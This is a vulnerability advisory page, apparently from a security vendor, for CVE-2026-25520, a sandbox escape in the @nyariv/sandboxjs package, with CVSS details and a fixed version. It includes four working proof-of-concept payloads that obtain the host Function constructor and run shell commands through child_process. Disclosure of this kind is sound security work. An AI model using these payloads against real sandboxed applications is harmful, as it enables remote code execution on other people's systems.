Get a Demo

Let's Patch It!

Book a short call with one our specialists, we'll walk you through how Endor Patches work, and ask you a few questions about your environment (like your primary programming languages and repository management). We'll also send you an email right after you fill out the form, feel free to reply with any questions you have in advance!

CVE

CVE-2026-25520

@nyariv/sandboxjs has a Sandbox Escape issue
Back to all
CVE

CVE-2026-25520

@nyariv/sandboxjs has a Sandbox Escape issue

Summary

The return values of functions aren't wrapped. Object.values/Object.entries can be used to get an Array containing the host's Function constructor, by using Array.prototype.at you can obtain the hosts Function constructor, which can be used to execute arbitrary code outside of the sandbox.

Details

The return values of functions aren't wrapped, chaining function calls allows bypassing most validation/sanitization. 

PoC

const s = require('@nyariv/sandboxjs').default;
const sb = new s();
payload = `
console.log(
  Object.values(this).at(0)(
    "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
  )(),
);
`
sb.compile(payload)().run();
const s = require("@nyariv/sandboxjs").default;
const sb = new s();
payload = `
console.log(
  Object.entries(this)[0].at(1)(
    "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
  )(),
);
`
sb.compile(payload)().run();
const s = require("@nyariv/sandboxjs").default;
const sb = new s();
payload = `
console.log(
  Object.entries(this)
    .at(0)
    .map((f) => {
      if (typeof f === 'function') {
        f.call('', 'return process')()
          .getBuiltinModule('child_process')
          .execSync('ls -lah', { stdio: 'inherit' });
      }
    }),
);
`
sb.compile(payload)().run();
const s = require("@nyariv/sandboxjs").default;
const sb = new s();
payload = `
const t = (f) => {
  f.call('', 'return process')()
    .getBuiltinModule('child_process')
    .execSync('ls -lah', { stdio: 'inherit' });
};
console.log(t.call(...Object.entries(this)[0]));
`
sb.compile(payload)().run();

Impact

Sanbox Escape -> RCE

Package Versions Affected

Package Version
patch Availability
No items found.

Automatically patch vulnerabilities without upgrading

Fix Without Upgrading
Detect compatible fix
Apply safe remediation
Fix with a single pull request

CVSS Version

Severity
Base Score
CVSS Version
Score Vector
C
H
U
10
-
3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
C
H
U
0
-
3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
C
H
U
10
-
3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Related Resources

No items found.

References

https://github.com/nyariv/SandboxJS/security/advisories/GHSA-58jh-xv4v-pcx4, https://nvd.nist.gov/vuln/detail/CVE-2026-25520, https://github.com/nyariv/SandboxJS/commit/67cb186c41c78c51464f70405504e8ef0a6e43c3, https://github.com/nyariv/SandboxJS

Severity

10

CVSS Score
0
10

Basic Information

Ecosystem
Base CVSS
10
EPSS Probability
0.00035%
EPSS Percentile
0.10156%
Introduced Version
0,0.8.23,0.8.3,0.6.0,0.5.0,0.1.1,0.1.0
Fix Available
0.8.29

Fix Critical Vulnerabilities Instantly

Secure your app without upgrading.
Fix Without Upgrading